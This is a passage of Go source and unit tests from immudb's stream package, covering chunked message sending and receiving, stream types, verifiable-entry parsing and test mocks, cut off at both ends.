NewMsgSender(sm, make([]byte, 4096)) kvss := NewKvStreamSender(s) require.IsType(t, &kvStreamSender{}, kvss) } func TestKvStreamSender_Send(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) kvss := NewKvStreamSender(s) kv := &KeyValue{ Key: &ValueSize{ Content: nil, Size: 0, }, Value: &ValueSize{ Content: nil, Size: 0, }, } err := kvss.Send(kv) require.NoError(t, err) } func TestKvStreamSender_SendEOF(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return io.EOF } s.RecvMsgF = func(m interface{}) error { return io.EOF } kvss := NewKvStreamSender(s) kv := &KeyValue{ Key: &ValueSize{ Content: nil, Size: 0, }, Value: &ValueSize{ Content: nil, Size: 0, }, } err := kvss.Send(kv) require.ErrorIs(t, err, io.EOF) } func TestKvStreamSender_SendErr(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errCustom } kvss := NewKvStreamSender(s) kv := &KeyValue{ Key: &ValueSize{ Content: nil, Size: 0, }, Value: &ValueSize{ Content: nil, Size: 0, }, } err := kvss.Send(kv) require.ErrorIs(t, err, errCustom) } ================================================ FILE: pkg/stream/kvstreamer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import "io" type KvStreamSender interface { Send(kv *KeyValue) error } type KvStreamReceiver interface { Next() ([]byte, io.Reader, error) } ================================================ FILE: pkg/stream/meta.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream const DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB const MinChunkSize int = 4096 const MaxTxValueLen int = 1 << 25 // 32Mb ================================================ FILE: pkg/stream/receiver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "encoding/binary" "io" "github.com/codenotary/immudb/pkg/errors" ) // NewMsgReceiver returns a NewMsgReceiver reader func NewMsgReceiver(stream ImmuServiceReceiver_Stream) *msgReceiver { return &msgReceiver{stream: stream, b: new(bytes.Buffer), } } type MsgReceiver interface { Read(data []byte) (n int, err error) ReadFully() (message []byte, metadata map[string][]byte, err error) } type msgReceiver struct { stream ImmuServiceReceiver_Stream b *bytes.Buffer eof bool tl int s int msgSend bool } // ReadFully reads the entire message that could be transmitted in several chunks func (r *msgReceiver) ReadFully() (message []byte, metadata map[string][]byte, err error) { firstChunk, err := r.stream.Recv() if err != nil { return nil, nil, err } if len(firstChunk.Content) < 8 { return nil, firstChunk.Metadata, errors.New(ErrChunkTooSmall) } msgSize := int(binary.BigEndian.Uint64(firstChunk.Content)) b := make([]byte, msgSize) read := 0 copy(b, firstChunk.Content[8:]) read += len(firstChunk.Content) - 8 for read < msgSize { chunk, err := r.stream.Recv() if err == io.EOF { break } if err != nil { return b, firstChunk.Metadata, err } copy(b[read:], chunk.Content) read += len(chunk.Content) } if read < msgSize { return b, firstChunk.Metadata, io.EOF } return b, firstChunk.Metadata, nil } // Read read fill message with received data and return the number of read bytes or error. If no message is present it returns 0 and io.EOF. If the message is complete it returns 0 and nil, in that case successive calls to Read will returns a new message. func (r *msgReceiver) Read(data []byte) (n int, err error) { if r.msgSend { r.msgSend = false return 0, nil } // if message is fully received and there is no more data in stream 0 and EOF is returned if r.eof && r.b.Len() == 0 { return 0, io.EOF } for { // buffer until reach the capacity of the message bufferLoad: for r.b.Len() <= len(data) { chunk, err := r.stream.Recv() if chunk != nil { r.b.Write(chunk.Content) } if err != nil { // no more data in stream if err == io.EOF { r.eof = true break bufferLoad } return 0, err } } // trailer (message length) initialization if r.tl == 0 { trailer := make([]byte, 8) _, err = r.b.Read(trailer) if err != nil { return 0, err } r.tl = int(binary.BigEndian.Uint64(trailer)) } // no more data in stream but buffer is not enough large to contains the expected value if r.eof && r.b.Len() < r.tl-r.s { return 0, io.EOF } // message send edge cases msgInFirstChunk := r.b.Len() >= r.tl lastRead := r.tl-r.s <= len(data) lastMessageSizeTooBig := r.tl-r.s > len(data) if (msgInFirstChunk || lastRead) && !lastMessageSizeTooBig { lastMessageSize := r.tl - r.s lmsg := make([]byte, lastMessageSize) _, err := r.b.Read(lmsg) if err != nil { return 0, err } n := copy(data, lmsg) r.tl = 0 r.msgSend = true r.s = 0 return n, nil } // message send if r.b.Len() > len(data) { n, err := r.b.Read(data) if err != nil { return 0, err } r.s += n return n, nil } } } ================================================ FILE: pkg/stream/receiver_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "errors" "io" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestMsgReceiver_Read(t *testing.T) { chunk_size := 5_000 chunk := make([]byte, chunk_size) for i := 0; i < chunk_size-8; i++ { chunk[i] = byte(1) } chunk1 := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(chunk)), chunk}, nil)} chunk = make([]byte, 8) for i := 0; i < 8; i++ { chunk[i] = byte(1) } chunk2 := &schema.Chunk{Content: chunk} sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: chunk1, E: nil}, {C: chunk2, E: nil}, {C: nil, E: io.EOF}, }) mr := NewMsgReceiver(sm) message := make([]byte, 4096) n, err := mr.Read(message) require.NoError(t, err) require.Equal(t, 4096, n) n, err = mr.Read(message) require.NoError(t, err) require.Equal(t, 904, n) } func TestMsgReceiver_ReadMessInFirstChunk(t *testing.T) { content := []byte(`mycontent`) chunk := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil)} sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: chunk, E: nil}, {C: nil, E: io.EOF}, }) mr := NewMsgReceiver(sm) message := make([]byte, 4096) n, err := mr.Read(message) require.NoError(t, err) require.Equal(t, 9, n) } func TestMsgReceiver_ReadFully_Edge_Cases(t *testing.T) { content := []byte(`mycontent`) firstChunk := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(content)*2 + 1), content}, nil)} secondChunk := &schema.Chunk{Content: content} sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: firstChunk, E: nil}, {C: secondChunk, E: nil}, {C: nil, E: io.EOF}, }) mr := NewMsgReceiver(sm) _, _, err := mr.ReadFully() require.ErrorIs(t, err, io.EOF) sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: &schema.Chunk{Content: []byte{1}}, E: nil}, {C: nil, E: io.EOF}, }) mr = NewMsgReceiver(sm) _, _, err = mr.ReadFully() require.ErrorContains(t, err, ErrChunkTooSmall) expectedErr := errors.New("unexpected error") sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: nil, E: expectedErr}, }) mr = NewMsgReceiver(sm) _, _, err = mr.ReadFully() require.ErrorIs(t, err, expectedErr) sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: firstChunk, E: nil}, {C: nil, E: expectedErr}, }) mr = NewMsgReceiver(sm) _, _, err = mr.ReadFully() require.ErrorIs(t, err, expectedErr) } func TestMsgReceiver_EmptyStream(t *testing.T) { sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: nil, E: io.EOF}, }) mr := NewMsgReceiver(sm) message := make([]byte, 4096) n, err := mr.Read(message) require.Equal(t, 0, n) require.ErrorIs(t, err, io.EOF) } func TestMsgReceiver_ErrNotEnoughDataOnStream(t *testing.T) { content := []byte(`mycontent`) chunk := &schema.Chunk{Content: bytes.Join([][]byte{streamtest.GetTrailer(len(content) + 10), content}, nil)} sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: chunk, E: nil}, {C: nil, E: io.EOF}, }) mr := NewMsgReceiver(sm) message := make([]byte, 4096) n, err := mr.Read(message) require.Equal(t, 0, n) require.ErrorIs(t, err, io.EOF) } func TestMsgReceiver_StreamRecvError(t *testing.T) { sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: nil, E: errCustom}, }) mr := NewMsgReceiver(sm) message := make([]byte, 4096) n, err := mr.Read(message) require.Equal(t, 0, n) require.ErrorIs(t, err, errCustom) } func TestMsgReceiver_StreamMsgSent(t *testing.T) { sm := streamtest.DefaultImmuServiceReceiverStreamMock(nil) mr := NewMsgReceiver(sm) mr.msgSend = true message := make([]byte, 4096) n, err := mr.Read(message) require.Equal(t, 0, n) require.NoError(t, err) } func TestMsgReceiver_StreamEOF(t *testing.T) { sm := streamtest.DefaultImmuServiceReceiverStreamMock(nil) mr := NewMsgReceiver(sm) mr.eof = true message := make([]byte, 4096) n, err := mr.Read(message) require.Equal(t, 0, n) require.ErrorIs(t, err, io.EOF) } ================================================ FILE: pkg/stream/sender.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "encoding/binary" "io" "github.com/codenotary/immudb/pkg/api/schema" ) type MsgSender interface { Send(reader io.Reader, chunkSize int, metadata map[string][]byte) (err error) RecvMsg(m interface{}) error } type msgSender struct { stream ImmuServiceSender_Stream buf []byte chunk *schema.Chunk } // NewMsgSender returns a NewMsgSender. It can be used on server side or client side to send a message on a stream. func NewMsgSender(s ImmuServiceSender_Stream, buf []byte) *msgSender { return &msgSender{ stream: s, buf: buf, chunk: &schema.Chunk{}, } } // Send reads from a reader until it reach msgSize. It fill an internal buffer from what it read from reader and, when there is enough data, it sends a chunk on stream. // It continues until it reach the msgSize. At that point it sends the last content of the buffer. func (st *msgSender) Send(reader io.Reader, msgSize int, metadata map[string][]byte) error { available := len(st.buf) // first chunk begins with the message size and including metadata binary.BigEndian.PutUint64(st.buf, uint64(msgSize)) available -= 8 st.chunk.Metadata = metadata read := 0 for read < msgSize { n, err := reader.Read(st.buf[len(st.buf)-available:]) if err != nil { return err } available -= n read += n if available == 0 { // send chunk when it's full st.chunk.Content = st.buf[:len(st.buf)-available] err = st.stream.Send(st.chunk) if err != nil { return err } available = len(st.buf) // metadata is only included into the first chunk st.chunk.Metadata = nil } } if available < len(st.buf) { // send last partially written chunk st.chunk.Content = st.buf[:len(st.buf)-available] err := st.stream.Send(st.chunk) if err != nil { return err } // just to avoid keeping a useless reference st.chunk.Metadata = nil } return nil } // RecvMsg block until it receives a message from the receiver (here we are on the sender). It's used mainly to retrieve an error message after sending data from a client(SDK) perspective. func (st *msgSender) RecvMsg(m interface{}) error { return st.stream.RecvMsg(m) } ================================================ FILE: pkg/stream/sender_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestNewMsgSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) require.IsType(t, new(msgSender), s) } func TestMsgSender_Send(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) content := []byte(`mycontent`) message := bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil) b := bytes.NewBuffer(message) err := s.Send(b, b.Len(), nil) require.NoError(t, err) } func TestMsgSender_SendPayloadSizeZero(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) b := bytes.NewBuffer(nil) err := s.Send(b, 0, nil) require.NoError(t, err) } func TestMsgSender_SendErrReader(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) r := &streamtest.ErrReader{ ReadF: func([]byte) (int, error) { return 0, errCustom }, } err := s.Send(r, 5000, nil) require.ErrorIs(t, err, errCustom) } func TestMsgSender_SendEmptyReader(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) r := &streamtest.ErrReader{ ReadF: func([]byte) (int, error) { return 0, io.EOF }, } err := s.Send(r, 5000, nil) require.ErrorIs(t, err, io.EOF) } func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) content := []byte(`mycontent`) message := streamtest.GetTrailer(len(content)) b := bytes.NewBuffer(message) err := s.Send(b, 5000, nil) require.ErrorIs(t, err, io.EOF) } func TestMsgSender_SendLastChunk(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) content := []byte(`mycontent`) b := bytes.NewBuffer(content) err := s.Send(b, len(content), nil) require.NoError(t, err) } func TestMsgSender_SendMultipleChunks(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 8)) content := []byte(`mycontent`) b := bytes.NewBuffer(content) err := s.Send(b, len(content), nil) require.NoError(t, err) } func TestMsgSender_RecvMsg(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, make([]byte, 4096)) err := s.RecvMsg(nil) require.NoError(t, err) } ================================================ FILE: pkg/stream/streamer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "github.com/codenotary/immudb/pkg/api/schema" ) // ImmuServiceSender_Stream is used to inject schema.ImmuService_StreamGetServer, schema.ImmuService_StreamZScanServer inside both client and server senders type ImmuServiceSender_Stream interface { Send(*schema.Chunk) error RecvMsg(m interface{}) error // used to retrieve server side errors } // ImmuServiceReceiver_Stream is used to inject schema.ImmuService_StreamGetClient, schema.ImmuService_StreamGetClient, schema.ImmuService_StreamHistoryClient and similar inside both client and server receivers type ImmuServiceReceiver_Stream interface { Recv() (*schema.Chunk, error) } ================================================ FILE: pkg/stream/streamtest/err_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package streamtest type ErrReader struct { ReadF func([]byte) (int, error) } func (r *ErrReader) Read(m []byte) (int, error) { return r.ReadF(m) } ================================================ FILE: pkg/stream/streamtest/receiver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package streamtest type MsgError struct { M []byte E error } type msgReceiverMock struct { c int me []*MsgError ReadF func(message []byte) (n int, err error) } func DefaultMsgReceiverMock(me []*MsgError) *msgReceiverMock { r := &msgReceiverMock{me: me} f := func(message []byte) (n int, err error) { l := copy(message, r.me[r.c].M) e := r.me[r.c].E r.c++ return l, e } r.ReadF = f return r } func (st *msgReceiverMock) Read(message []byte) (n int, err error) { return st.ReadF(message) } ================================================ FILE: pkg/stream/streamtest/sender.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package streamtest import ( "io" ) type msgSenderMock struct { SendF func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) RecvMsgF func(m interface{}) error } func DefaultMsgSenderMock(s *ImmuServiceSender_StreamMock, chunkSize int) *msgSenderMock { return &msgSenderMock{ SendF: func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return nil }, RecvMsgF: func(m interface{}) error { return nil }, } } func (st *msgSenderMock) Send(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return st.SendF(reader, payloadSize, metadata) } func (st *msgSenderMock) RecvMsg(m interface{}) error { return st.RecvMsgF(m) } ================================================ FILE: pkg/stream/streamtest/stream.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package streamtest import ( "crypto/rand" "crypto/sha256" "encoding/binary" "io" "io/ioutil" "os" "github.com/codenotary/immudb/pkg/api/schema" ) type ChunkError struct { C *schema.Chunk E error } type ImmuServiceReceiver_StreamMock struct { cc int ce []*ChunkError RecvF func() (*schema.Chunk, error) } func (ism *ImmuServiceReceiver_StreamMock) Recv() (*schema.Chunk, error) { return ism.RecvF() } func DefaultImmuServiceReceiverStreamMock(ce []*ChunkError) *ImmuServiceReceiver_StreamMock { m := &ImmuServiceReceiver_StreamMock{ ce: ce, } f := func() (*schema.Chunk, error) { if len(m.ce) > 0 { c := m.ce[m.cc].C e := m.ce[m.cc].E m.cc++ return c, e } return nil, nil } m.RecvF = f return m } type ImmuServiceSender_StreamMock struct { SendF func(*schema.Chunk) error RecvMsgF func(m interface{}) error } func DefaultImmuServiceSenderStreamMock() *ImmuServiceSender_StreamMock { return &ImmuServiceSender_StreamMock{ SendF: func(*schema.Chunk) error { return nil }, RecvMsgF: func(m interface{}) error { return nil }, } } func (iss *ImmuServiceSender_StreamMock) Send(c *schema.Chunk) error { return iss.SendF(c) } func (iss *ImmuServiceSender_StreamMock) RecvMsg(m interface{}) error { return iss.RecvMsgF(m) } func GetTrailer(payloadSize int) []byte { ml := make([]byte, 8) binary.BigEndian.PutUint64(ml, uint64(payloadSize)) return ml } func GenerateDummyFile(filename string, size int) (*os.File, error) { tmpFile, err := ioutil.TempFile(os.TempDir(), "go-stream-bench-"+filename) if err != nil { return nil, err } b := make([]byte, size) _, err = rand.Read(b) if err != nil { return nil, err } _, err = tmpFile.Write(b) if err != nil { return nil, err } tmpFile.Seek(0, io.SeekStart) return tmpFile, nil } func GetSHA256(r io.Reader) ([]byte, error) { h := sha256.New() _, err := io.Copy(h, r) if err != nil { return nil, err } return h.Sum(nil), nil } ================================================ FILE: pkg/stream/types.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "encoding/binary" "io" "github.com/codenotary/immudb/pkg/api/schema" ) var ProveSinceTxFakeKey = []byte("ProveSinceTx") type KeyValue struct { Key *ValueSize Value *ValueSize } type ValueSize struct { Content io.Reader Size int } type VerifiableEntry struct { EntryWithoutValueProto *ValueSize VerifiableTxProto *ValueSize InclusionProofProto *ValueSize Value *ValueSize } type ZEntry struct { Set *ValueSize Key *ValueSize Score *ValueSize AtTx *ValueSize Value *ValueSize } const ( TOp_Kv byte = 1 << iota TOp_ZAdd TOp_Ref ) type IsOp_Operation interface { isOp_Operation() } type Op struct { Operation IsOp_Operation } type Op_ZAdd struct { ZAdd *schema.ZAddRequest } type Op_KeyValue struct { KeyValue *KeyValue } type Op_Ref struct{} func (*Op_ZAdd) isOp_Operation() {} func (*Op_KeyValue) isOp_Operation() {} func (*Op_Ref) isOp_Operation() {} type ExecAllRequest struct { Operations []*Op } // NumberToBytes ... func NumberToBytes(n interface{}) ([]byte, error) { var buf bytes.Buffer err := binary.Write(&buf, binary.BigEndian, n) if err != nil { return nil, err } return buf.Bytes(), err } // NumberFromBytes ... func NumberFromBytes(bs []byte, n interface{}) error { buf := bytes.NewReader(bs) return binary.Read(buf, binary.BigEndian, n) } ================================================ FILE: pkg/stream/types_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import "testing" func TestIsOps(t *testing.T) { opZAdd := &Op_ZAdd{} opZAdd.isOp_Operation() opRef := &Op_Ref{} opRef.isOp_Operation() opKV := &Op_KeyValue{} opKV.isOp_Operation() } ================================================ FILE: pkg/stream/ventryparser.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/proto" ) // ParseVerifiableEntry ... func ParseVerifiableEntry( entryWithoutValueProto []byte, verifiableTxProto []byte, inclusionProofProto []byte, vr io.Reader, chunkSize int, ) (*schema.VerifiableEntry, error) { var entry schema.Entry if err := proto.Unmarshal(entryWithoutValueProto, &entry); err != nil { return nil, err } var verifiableTx schema.VerifiableTx if err := proto.Unmarshal(verifiableTxProto, &verifiableTx); err != nil { return nil, err } var inclusionProof schema.InclusionProof if err := proto.Unmarshal(inclusionProofProto, &inclusionProof); err != nil { return nil, err } value, err := ReadValue(vr, chunkSize) if err != nil { return nil, err } // set the value on the entry, as it came without it entry.Value = value return &schema.VerifiableEntry{ Entry: &entry, VerifiableTx: &verifiableTx, InclusionProof: &inclusionProof, }, nil } ================================================ FILE: pkg/stream/ventryparser_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bufio" "bytes" "io" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/proto" "github.com/stretchr/testify/require" ) func TestParseVerifiableEntryErrors(t *testing.T) { _, err := ParseVerifiableEntry([]byte("not a proto message"), nil, nil, nil, 0) require.ErrorContains(t, err, "cannot parse invalid wire-format data") entryWithoutValueBs, err := proto.Marshal(&schema.Entry{}) require.NoError(t, err) _, err = ParseVerifiableEntry( entryWithoutValueBs, []byte("not a proto message"), nil, nil, 0) require.ErrorContains(t, err, "cannot parse invalid wire-format data") verifiableTxBs, err := proto.Marshal(&schema.VerifiableTx{}) require.NoError(t, err) _, err = ParseVerifiableEntry( entryWithoutValueBs, verifiableTxBs, []byte("not a proto message"), nil, 0) require.ErrorContains(t, err, "cannot parse invalid wire-format data") inclusionProofBs, err := proto.Marshal(&schema.InclusionProof{}) require.NoError(t, err) valueReader := bufio.NewReader(bytes.NewBuffer([]byte{})) _, err = ParseVerifiableEntry( entryWithoutValueBs, verifiableTxBs, inclusionProofBs, valueReader, 0) require.ErrorIs(t, err, io.EOF) valueReader = bufio.NewReader(bytes.NewBuffer([]byte("some value"))) _, err = ParseVerifiableEntry( entryWithoutValueBs, verifiableTxBs, inclusionProofBs, valueReader, MinChunkSize) require.NoError(t, err) } ================================================ FILE: pkg/stream/ventryreceiver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" ) type vEntryStreamReceiver struct { s io.Reader BufferSize int } // NewVEntryStreamReceiver ... func NewVEntryStreamReceiver(s io.Reader, bs int) VEntryStreamReceiver { return &vEntryStreamReceiver{ s: s, BufferSize: bs, } } func (vesr *vEntryStreamReceiver) Next() ([]byte, []byte, []byte, io.Reader, error) { ris := make([][]byte, 3) for i := range ris { r, err := ReadValue(vesr.s, vesr.BufferSize) if err != nil { return nil, nil, nil, nil, err } ris[i] = r } // for the value, (which can be large), return a Reader and let the caller read it return ris[0], ris[1], ris[2], vesr.s, nil } ================================================ FILE: pkg/stream/ventryreceiver_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestNewVEntryStreamReceiver(t *testing.T) { r := bytes.NewBuffer([]byte{}) vsr := NewVEntryStreamReceiver(r, 4096) require.NotNil(t, vsr) } func TestVEntryStreamReceiver_Next(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte(`first`), E: io.EOF}, {M: []byte(`second`), E: io.EOF}, {M: []byte(`third`), E: io.EOF}, {M: []byte(`fourth`), E: io.EOF}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() require.NoError(t, err) require.Equal(t, []byte(`first`), entryWithoutValueProto) require.Equal(t, []byte(`second`), verifiableTxProto) require.Equal(t, []byte(`third`), inclusionProofProto) require.NotNil(t, vr) } func TestVEntryStreamReceiver_NextErr0(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte(`first`), E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() require.ErrorIs(t, err, errCustom) require.Nil(t, entryWithoutValueProto) require.Nil(t, verifiableTxProto) require.Nil(t, inclusionProofProto) require.Nil(t, vr) } func TestVEntryStreamReceiver_NextErr1(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte(`first`), E: io.EOF}, {M: []byte(`second`), E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() require.ErrorIs(t, err, errCustom) require.Nil(t, entryWithoutValueProto) require.Nil(t, verifiableTxProto) require.Nil(t, 